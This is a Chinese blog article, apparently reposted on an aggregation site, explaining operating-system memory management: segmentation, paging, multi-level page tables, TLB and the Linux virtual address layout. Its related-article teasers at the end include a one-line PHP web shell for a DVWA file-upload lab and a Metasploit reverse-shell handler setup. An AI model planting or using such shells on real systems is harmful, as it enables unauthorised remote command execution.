操作系統中的內存管理

虛擬內存

在這里插入圖片描述

操作系統會提供一種機制,將不同進程的虛擬地址和不同內存的物理地址映射起來。如果程序要訪問虛擬地址的時候,由操作系統轉換成不同的物理地址,這樣不同的進程運行的時候,寫入的是不同的物理地址,這樣就不會沖突了。

于是,這里就引出了兩種地址的概念:

  • 我們程序所使用的內存地址叫做虛擬內存地址。

  • 實際存在硬件里面的空間地址叫物理內存地址。

操作系統引入了虛擬內存,進程持有的虛擬地址會通過 CPU 芯片中的內存管理單元(MMU)的映射關系,來轉換變成物理地址,然后再通過物理地址訪問內存,如下圖所示:

在這里插入圖片描述

操作系統是如何管理虛擬地址與物理地址之間的關系?

主要有兩種方式,分別是內存分段內存分頁

內存分段

程序是由若干個邏輯分段組成的,如可由代碼分段、數據分段、棧段、堆段組成。不同的段是有不同的屬性的,所以就用分段的形式把這些段分離出來。

分段機制下,虛擬地址和物理地址是如何映射的?

分段機制下的虛擬地址由兩部分組成,段選擇因子和段內偏移量。

在這里插入圖片描述

  • 段選擇因子就保存在段寄存器里面。段選擇因子里面最重要的是段號,用作段表的索引。段表里面保存的是這個段的基地址、段的界限和特權等級等。

  • 虛擬地址中的段內偏移量應該位于 0 和段界限之間,如果段內偏移量是合法的,就將段基地址加上段內偏移量得到物理內存地址

分段機制會把程序的虛擬地址分成 4 個段,每個段在段表中有一個項,在這一項找到段的基地址,再加上偏移量,于是就能找到物理內存中的地址,如下圖:

在這里插入圖片描述

分段機制的缺陷

  • 第一個就是內存碎片的問題。

  • 第二個就是內存交換的效率低的問題。

為什么會有內存碎片的問題?

假設有 1G 的物理內存,用戶執行了多個程序,其中:游戲占用了 512MB 內存,瀏覽器占用了 128MB 內存,音樂占用了 256 MB 內存。這個時候,如果我們關閉了瀏覽器,則空閑內存還有 1024 - 512 - 256 = 256MB。如果這個 256MB 不是連續的,被分成了兩段 128 MB 內存,這就會導致沒有空間再打開一個 200MB 的程序。

內存碎片的問題共有兩處地方:

  • 外部內存碎片,也就是產生了多個不連續的小物理內存,導致新的程序無法被裝載。

  • 內部內存碎片,程序所有的內存都被裝載到了物理內存,但是這個程序有部分的內存可能并不是很常使用,這也會導致內存的浪費。

解決方式

內存交換

可以把音樂程序占用的那 256MB 內存寫到硬盤上,然后再從硬盤上讀回來到內存里。不過再讀回的時候,我們不能裝載回原來的位置,而是緊緊跟著那已經被占用了的 512MB 內存后面。這樣就能空缺出連續的 256MB 空間,于是新的 200MB 程序就可以裝載進來。

這個內存交換空間,在 Linux 系統里,也就是我們常看到的 Swap 空間,這塊空間是從硬盤劃分出來的,用于內存與硬盤的空間交換。

分段為什么會導致內存交換的效率低?

對于多進程的系統來說,用分段的方式,內存碎片是很容易產生的,產生了內存碎片,那不得不重新 Swap 內存區域,這個過程會產生性能瓶頸。

因為硬盤的訪問速度要比內存慢太多了,每一次內存交換,我們都需要把一大段連續的內存數據寫到硬盤上。

所以,如果內存交換的時候,交換的是一個占內存空間很大的程序,這樣整個機器都會顯得卡頓。

因此就有了內存分頁機制。

內存分頁

分段的好處就是能產生連續的內存空間,但是會出現內存碎片和內存交換的空間太大的問題。

分頁是把整個虛擬和物理內存空間切成一段段固定尺寸的大小。這樣一個連續并且尺寸固定的內存空間,我們叫頁。

在 Linux 下,每一頁的大小為 4KB。虛擬地址與物理地址之間通過頁表來映射。

在這里插入圖片描述

頁表實際上存儲在內存中,于是 CPU 可以直接通過 MMU,找出要實際要訪問的物理內存地址。

而當進程訪問的虛擬地址在頁表中查不到時,系統會產生一個缺頁異常,進入系統內核空間分配物理內存、更新進程頁表,最后再返回用戶空間,恢復進程的運行。

分頁是怎么解決分段的內存碎片、內存交換效率低的問題?

由于內存空間都是預先劃分好的,也就不會像分段會產生間隙非常小的內存,這正是分段會產生內存碎片的原因。

而采用了分頁,那么釋放的內存都是以頁為單位釋放的,也就不會產生無法給進程使用的小內存。

如果內存空間不夠,操作系統會把其他正在運行的進程中的「最近沒被使用」的內存頁面給釋放掉,也就是暫時寫在硬盤上,稱為換出。一旦需要的時候,再加載進來,稱為換入。

所以,一次性寫入磁盤的也只有少數的一個頁或者幾個頁,不會花太多時間,內存交換的效率就相對比較高。

分頁的方式使得我們在加載程序的時候,不再需要一次性都把程序加載到物理內存中。我們完全可以在進行虛擬內存和物理內存的頁之間的映射之后,并不真的把頁加載到物理內存里,而是只有在程序運行中,需要用到對應虛擬內存頁里面的指令和數據時,再加載到物理內存里面去

分頁機制下,虛擬地址和物理地址是如何映射的?

在分頁機制下,虛擬地址分為兩部分,頁號和頁內偏移。

頁號作為頁表的索引,頁表包含物理頁每頁所在物理內存的基地址,這個基地址與頁內偏移的組合就形成了物理內存地址。

在這里插入圖片描述

  • 把虛擬內存地址,切分成頁號和偏移量。

  • 根據頁號,從頁表里面,查詢對應的物理頁號。

  • 直接拿物理頁號,加上前面的偏移量,就得到了物理內存地址。

這種簡單的分頁有什么缺陷呢?

有空間上的缺陷。

因為操作系統是可以同時運行非常多的進程的,那這不就意味著頁表會非常的龐大。在 32 位的環境下,虛擬地址空間共有 4GB,假設一個頁的大小是 4KB(2^12),那么就需要大約 100 萬 (2^20) 個頁,每個「頁表項」需要 4 個字節大小來存儲,那么整個 4GB 空間的映射就需要有 4MB 的內存來存儲頁表。這 4MB 大小的頁表,看起來也不是很大。但是要知道每個進程都是有自己的虛擬地址空間的,也就說都有自己的頁表。

那么,100 個進程的話,就需要 400MB 的內存來存儲頁表,這是非常大的內存了,更別說 64 位的環境了。

多級頁表

對于單頁表的實現方式,在 32 位和頁大小 4KB 的環境下,一個進程的頁表需要裝下 100 多萬個「頁表項」,并且每個頁表項是占用 4 字節大小的,于是相當于每個頁表需占用 4MB 大小的空間。

現在把這個 100 多萬個「頁表項」的單級頁表再分頁,將頁表(一級頁表)分為 1024 個頁表(二級頁表),每個表(二級頁表)中包含 1024 個「頁表項」,形成二級分頁。

在這里插入圖片描述

分了二級表,映射 4GB 地址空間就需要 4KB(一級頁表)+ 4MB(二級頁表)的內存,這樣占用空間不是更大了嗎?

如果使用了二級分頁,一級頁表就可以覆蓋整個 4GB 虛擬地址空間,但如果某個一級頁表的頁表項沒有被用到,也就不需要創建這個頁表項對應的二級頁表了,即可以在需要時才創建二級頁表。

做個簡單的計算,假設只有 20% 的一級頁表項被用到了,那么頁表占用的內存空間就只有 4KB(一級頁表) + 20% * 4MB(二級頁表)= 0.804MB。

頁表一定要覆蓋全部虛擬地址空間,不分級的頁表就需要有 100 多萬個頁表項來映射,而二級分頁則只需要 1024 個頁表項(此時一級頁表覆蓋到了全部虛擬地址空間,二級頁表在需要時創建)

對于64位的系統,二級分頁肯定是不行的,一般采用的都是四級分頁:

  • 全局頁目錄項 PGD

  • 上層頁目錄項 PUD

  • 中間頁目錄項 PMD

  • 頁表項 PTE

TLB

多級頁表雖然解決了空間上的問題,但是虛擬地址到物理地址的轉換就多了幾道轉換的工序,這顯然就降低了這倆地址轉換的速度,也就是帶來了時間上的開銷。

程序是有局部性的,即在一段時間內,整個程序的執行僅限于程序中的某一部分。相應地,執行所訪問的存儲空間也局限于某個內存區域。

在這里插入圖片描述

在 CPU 芯片里面,封裝了內存管理單元芯片,它用來完成地址轉換和 TLB 的訪問與交互。有了 TLB 后,那么 CPU 在尋址時,會先查 TLB,如果沒找到,才會繼續查常規的頁表。

段頁式內存管理

什么是段頁式內存管理?

內存分段和內存分頁并不是對立的,它們是可以組合起來在同一個系統中使用的,那么組合起來后,通常稱為段頁式內存管理。

段頁式內存管理實現的方式是什么?

段頁式內存管理實現的方式:

  • 先將程序劃分為多個有邏輯意義的段,也就是前面提到的分段機制;

  • 接著再把每個段劃分為多個頁,也就是對分段劃分出來的連續空間,再劃分固定大小的頁;

  • 這樣,地址結構就由段號、段內頁號和頁內位移三部分組成。

在這里插入圖片描述

段頁式地址變換中要得到物理地址須經過三次內存訪問:

  • 第一次訪問段表,得到頁表起始地址;

  • 第二次訪問頁表,得到物理頁號;

  • 第三次將物理頁號與頁內位移組合,得到物理地址。

可用軟、硬件相結合的方法實現段頁式地址變換,這樣雖然增加了硬件成本和系統開銷,但提高了內存的利用率

Linux內存管理

什么是邏輯地址和線性地址?

邏輯地址和線性地址:

  • 程序所使用的地址,通常是沒被段式內存管理映射的地址,稱為邏輯地址。

  • 通過段式內存管理映射的地址,稱為線性地址,也叫虛擬地址。

  • 邏輯地址是「段式內存管理」轉換前的地址,線性地址則是「頁式內存管理」轉換前的地址。

Linux 采用什么方式去管理內存?

Linux 內存主要采用的是頁式內存管理,但同時也不可避免地涉及了段機制。

Linux 系統中的每個段都是從 0 地址開始的整個 4GB 虛擬空間(32 位環境下),也就是所有的段的起始地址都是一樣的。這意味著,Linux 系統中的代碼,包括操作系統本身的代碼和應用程序代碼,所面對的地址空間都是線性地址空間(虛擬地址),這種做法相當于屏蔽了處理器中的邏輯地址概念,段只被用于訪問控制和內存保護。

Linux 的虛擬地址空間是如何分布的?

在 Linux 操作系統中,虛擬地址空間的內部又被分為內核空間和用戶空間兩部分,不同位數的系統,地址空間的范圍也不同。

在這里插入圖片描述

  • 32 位系統的內核空間占用 1G,位于最高處,剩下的 3G 是用戶空間;

  • 64 位系統的內核空間和用戶空間都是 128T,分別占據整個內存空間的最高和最低處,剩下的中間部分是未定義的。

內核空間和用戶空間有什么區別?

  • 進程在用戶態時,只能訪問用戶空間內存。

  • 只有進入內核態后,才可以訪問內核空間的內存。

雖然每個進程都各自有獨立的虛擬內存,但是每個虛擬內存中的內核地址,其實關聯的都是相同的物理內存。這樣,進程切換到內核態后,就可以很方便地訪問內核空間內存。

在這里插入圖片描述

用戶空間是如何分布的?

在這里插入圖片描述

  • 程序文件段:包括二進制可執行代碼;已初始化數據段,包括靜態常量

  • 未初始化數據段:包括未初始化的靜態變量

  • 堆段:包括動態分配的內存,從低地址開始向上增長。

  • 文件映射段:包括動態庫、共享內存等,從低地址開始向上增長(跟硬件和內核版本有關)。

  • 棧段:包括局部變量和函數調用的上下文等。棧的大小是固定的,一般是 8 MB。當然系統也提供了參數,以便我們自定義大小。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/19166.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/19166.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/19166.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python 技能提升(一)

python注釋規范 # Add commit for you codes. # The proper addition of comments is so beautiful.from abc import abstractmethoddef add(a: int, b: int) -> int:# You can write some necessary notes here.# Such as the role of functions, the types and roles of …

Slurm集群使用基礎

Introduction 我們在做生物信息分析時,對于大規模的上游數據的處理,一般需要在大型服務器或集群上進行。我最早接觸并使用的是一個基于SLURM調度系統的集群,在此記錄一下基礎使用方法。 高性能計算集群(High-Performance Comput…

React 使用JSX或者TSX渲染頁面

02 Rendering with JSX Your first JSX content In this section, we’ll implement the obligatory " Hello, World " JSX application. At this point, we’re just dipping our toes in the water; more in-depth examples will follow. We’ll also discuss wh…

vs code中編寫c++基本使用以及問題總結

vs code基本使用以及總結 launch.json作用 這個文件配置了調試器的設置,允許你定義如何啟動和調試你的程序。這包括配置執行路徑、傳遞給程序的參數、環境變量以及特定語言或框架的調試器選項。 常用配置 "version": "0.2.0": 這是配置文件…

kotlin基礎之協程

Kotlin協程(Coroutines)是Kotlin提供的一種輕量級的線程模型,它允許我們以非阻塞的方式編寫異步代碼,而無需使用回調、線程或復雜的并發API。協程是一種用戶態的輕量級線程,它可以在需要時掛起和恢復,從而有…

安卓中的圖片壓縮

安卓中如何進行圖片壓縮? 在安卓中進行圖片壓縮通常有以下幾種方法: 質量壓縮: 通過降低圖片的質量來減小文件大小。這可以通過Bitmap的compress()方法實現,其中可以設置壓縮質量(0-100)。 ByteArrayOutputStream baos…

【滲透測試】|文件上傳

1、安裝使用蟻劍 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陸dvwa,進入初級文件上傳&#xff0c;上傳一句話木馬文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 執行命令的函數 //ccit:一句話木馬文件的參數…

滲透測試工具Cobalt strike-2.CS基礎使用

三、結合metasploit,反彈shell 在kali中開啟使用命令開啟metasploit msfconsole ┌──(root?oldboy)-[~] └─# msfconsole --- msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp --- msf6 exploit(multi/handler) > show …

[10] CUDA程序性能的提升 與 流

CUDA程序性能的提升 與 流 1. CUDA程序性能的提升 在本節中,我們會看到用來遵循的基本的一些性能來提升準則,我們會逐一解釋它們1.1 使用適當的塊數量和線程數量 研究表明,如果塊的數量是 GPU 的流多處理器數量的兩倍,則會給出最佳性能,不過,塊和線程的數量與具體的算法…

什么是訪問控制漏洞

什么是AC Bugs&#xff1f; 實驗室 Vertical privilege escalation 僅通過隱藏目錄/判斷參數來權限控制是不安全的&#xff08;爆破url/爬蟲/robots.txt/Fuzz/jsfinder&#xff09; Unprotected functionality 訪問robots.txt 得到隱藏目錄&#xff0c;訪問目錄 &#xff0c;…

基于Visual Studio版本的AI編程助手

Visual Studio 是一個出色的 IDE,可用于構建適用于 Windows、Mac、Linux、iOS 和 Android 的豐富、精美的跨平臺應用程序。 使用一系列技術(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)構建豐富。 1、安裝 點擊上方工具欄拓展選項,選擇管理拓展選項 接著在聯機頁面中搜索&q…

基于51單片機的室內空氣質量檢測-仿真設計

本設計是基于單片機的空氣質量檢測設計&#xff0c;主要實現以下功能&#xff1a; 可實現通過SGP30測量二氧化碳及甲醛濃度&#xff0c;當超過設置的最大值時&#xff0c;進行報警及通風和凈化空氣處理 可實現通過MQ-4測量甲烷濃度&#xff0c;當超過設置的最大值時&#xff0…

壓力測試JMeter

壓力測試JMeter 1 下載JMeter1.1 測試計劃1.2 JMeter Address Already in use 錯誤解決1.3 java 內存模型1.4 jconsole與jvisualvm1.5 優化方向1.6 Nginx動靜分離 1 下載JMeter 官網地址&#xff1a;https://jmeter.apache.org/download_jmeter.cgi 運行apache-jmeter-5.6.3\…

HaloDB 的 Oracle 兼容模式

↑ 關注“少安事務所”公眾號&#xff0c;歡迎?收藏&#xff0c;不錯過精彩內容~ 前傾回顧 前面介紹了“光環”數據庫的基本情況和安裝辦法。 哈嘍&#xff0c;國產數據庫&#xff01;Halo DB! 三步走&#xff0c;Halo DB 安裝指引 ★ HaloDB是基于原生PG打造的新一代高性能安…

代碼隨想錄訓練營Day 43|力扣343. 整數拆分、96.不同的二叉搜索樹

1.整數拆分 代碼隨想錄 視頻講解&#xff1a;動態規劃&#xff0c;本題關鍵在于理解遞推公式&#xff01;| LeetCode&#xff1a;343. 整數拆分_嗶哩嗶哩_bilibili 代碼&#xff1a; class Solution { public:int integerBreak(int n) {// dp[i] 拆分數字i所獲得的最大乘積為d…

景源暢信:抖音小店如何開櫥窗?

在當今數字化時代&#xff0c;社交媒體平臺不僅僅是人們交流和分享生活的工具&#xff0c;更成為了商家們展示和銷售產品的重要場所。抖音作為一款流行的短視頻社交應用&#xff0c;其內置的電商功能——抖音小店&#xff0c;為眾多商家和個人提供了便捷的在線銷售途徑。其中&a…

使用NuScenes數據集生成ROS Bag文件:深度學習與機器人操作的橋梁

在自動駕駛、機器人導航及環境感知的研究中&#xff0c;高質量的數據集是推動算法發展的關鍵。NuScenes數據集作為一項開源的多模態自動駕駛數據集&#xff0c;提供了豐富的雷達、激光雷達&#xff08;LiDAR&#xff09;、攝像頭等多種傳感器數據&#xff0c;是進行多傳感器融合…

Go語言 gRPC 簡述

參考文章 grpc-我們為什么要用gRpc&#xff1f;gRpc快在哪里&#xff1f;_grpc 優點-CSDN博客 GRPC詳解-CSDN博客 1. 什么是gRPC gRPC 是一個高性能 遠程調用(RPC)框架&#xff0c;屏蔽分布式計算中的各種調用細節&#xff0c;可以像本地調用一樣調用遠程的函數。 2. 為什么要…

jmeter多用戶并發登錄教程

有時候為了模擬更真實的場景&#xff0c;在項目中需要多用戶登錄操作&#xff0c;大致參考如下 jmx腳本&#xff1a;百度網盤鏈接 提取碼&#xff1a;0000 一&#xff1a; 單用戶登錄 先使用1個用戶登錄&#xff08;先把1個請求調試通過&#xff09; 發送一個登錄請求&…

貪心(臨項交換)+01背包,藍橋云課 搬磚

一、題目 1、題目描述 2、輸入輸出 2.1輸入 2.2輸出 3、原題鏈接 0搬磚 - 藍橋云課 (lanqiao.cn) 二、解題報告 1、思路分析 將物品按照w[i] v[i]升序排序然后跑01背包就是答案 下面證明&#xff1a;&#xff08;不要問怎么想到的&#xff0c;做題多了就能想到&#xff…